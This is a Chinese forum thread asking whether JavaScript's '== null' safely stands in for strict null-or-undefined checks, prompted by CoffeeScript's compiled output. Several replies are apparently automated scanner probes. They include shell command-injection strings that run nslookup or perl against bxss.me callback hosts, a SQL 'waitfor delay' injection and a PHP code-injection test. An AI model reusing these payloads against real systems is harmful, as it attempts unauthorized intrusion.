今天闲着没事看 coffeescript,发现 coffeescript 会把
a = undefined
if a?
console.log a
翻译成:
var a;
a = void 0;
if (a != null) {
console.log(a);
}
然后我想了想、试了试,发现 0
、false
、""
都不满足 == null
于是我就想,可不可以使用 a == null
来代替 a === null
|| a === undefined
呢?
或者说,哪些值满足 == null
呢
经验告诉我 可以
可以,但最好不要,因为不严谨,容易导致后面的人以为这个变量最坏只可能为null,手贱的人更是会直接把==改成===
@zy445566 哈哈,有道理
完全可以,在 GitHub 搜一下 nodejs 项目里 a != null 的写法 非常普遍,反而 a !== null && a !== undefined 的写法 比较少
一看都是不懂的 真的懂 == null 吗?
@xcfox 普遍不代表一定正确
12345'"'");|]*%00{%0d%0a<%00>%bf%27'💡
555
12345'"'");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
|echo xctaqp$()\ ouafeo\nz^xyu||a #’ |echo xctaqp$()\ ouafeo\nz^xyu||a #|" |echo xctaqp$()\ ouafeo\nz^xyu||a #
1 waitfor delay '0:0:15' –
(nslookup hitagbxhzyzmnbbfed.bxss.me||perl -e "gethostbyname('hitagbxhzyzmnbbfed.bxss.me')")
'.print(md5(31337)).'
$(nslookup hittpxrmehoip2dc0b.bxss.me||perl -e "gethostbyname('hittpxrmehoip2dc0b.bxss.me')")
&(nslookup hititcjkodylg2f9d8.bxss.me||perl -e "gethostbyname('hititcjkodylg2f9d8.bxss.me')")&'"0&(nslookup hititcjkodylg2f9d8.bxss.me||perl -e "gethostbyname('hititcjkodylg2f9d8.bxss.me')")&
'
555
|(nslookup hitmpagcxoocfe5671.bxss.me||perl -e "gethostbyname('hitmpagcxoocfe5671.bxss.me')")
(nslookup hitpeksqafunh02627.bxss.me||perl -e "gethostbyname('hitpeksqafunh02627.bxss.me')")
;(nslookup hitinokvrtrww51825.bxss.me||perl -e "gethostbyname('hitinokvrtrww51825.bxss.me')")|(nslookup hitinokvrtrww51825.bxss.me||perl -e "gethostbyname('hitinokvrtrww51825.bxss.me')")&(nslookup hitinokvrtrww51825.bxss.me||perl -e "gethostbyname('hitinokvrtrww51825.bxss.me')")
12345’"’");|]*%00{%0d%0a<%00>%bf%27’💡
555
555
不可以,webstorm会飘红,烦得很